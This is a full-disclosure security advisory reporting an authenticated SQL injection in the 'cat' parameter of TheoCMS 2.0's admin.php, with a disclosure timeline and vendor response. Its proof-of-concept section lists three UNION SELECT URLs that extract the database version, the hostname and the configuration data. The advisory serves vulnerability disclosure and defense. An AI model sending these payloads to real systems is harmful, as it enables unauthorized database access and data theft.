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Theo CMS 2.0 SQL Injection Vulnerability
[============================================= MGC ALERT 2017-004 - Original release date: July 11, 2017 - Last revised: August 12, 2017 - Discovered by: Manuel GarcAa CA!rdenas - Severity: 7,1/10 (CVSS Base Score) ============================================= I. VULNERABILITY ------------------------- SQL Injection in TheoCMS <= 2.0 II. BACKGROUND ------------------------- Theo CMS is an ultra lightweight Content Management System for all types of websites. III. DESCRIPTION ------------------------- This bug was found using the portal with authentication as administrator. To exploit the vulnerability only is needed use the version 1.0 of the HTTP protocol to interact with the application. It is possible to inject SQL code in the variable "cat" on the page "admin.php". IV. PROOF OF CONCEPT ------------------------- The following URL's and parameters have been confirmed to all suffer from SQL injection. /theocms/core/admin.php?cat=0 POC: /theocms/core/admin.php?cat=0+union+select+1,@@version,3,4+from+cfgs /theocms/core/admin.php?cat=0+union+select+1,@@hostname,3,4+from+cfgs /theocms/core/admin.php?cat=0+union+select+1,concat(cfg,data),3,4+from+cfgs V. BUSINESS IMPACT ------------------------- Public defacement, confidential data leakage, and database server compromise can result from these attacks. Client systems can also be targeted, and complete compromise of these client systems is also possible. VI. SYSTEMS AFFECTED ------------------------- TheoCMS <= 2.0 VII. SOLUTION ------------------------- Disable website until a fix is available. VIII. REFERENCES ------------------------- http://theocms.com IX. CREDITS ------------------------- This vulnerability has been discovered and reported by Manuel GarcAa CA!rdenas (advidsec (at) gmail (dot) com). X. REVISION HISTORY ------------------------- July 11, 2017 1: Initial release August 12, 2017 2: Revision to send to lists XI. DISCLOSURE TIMELINE ------------------------- July 11, 2017 1: Vulnerability acquired by Manuel Garcia Cardenas July 11, 2017 2: Send to vendor July 11, 2017 3: Vendor answer that is not a critical vulnerability an SQL Injection y admin page August 12, 2017 4: Send to the Full-Disclosure lists XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. XIII. ABOUT ------------------------- Manuel Garcia Cardenas Pentester # 0day.today [2024-07-16] #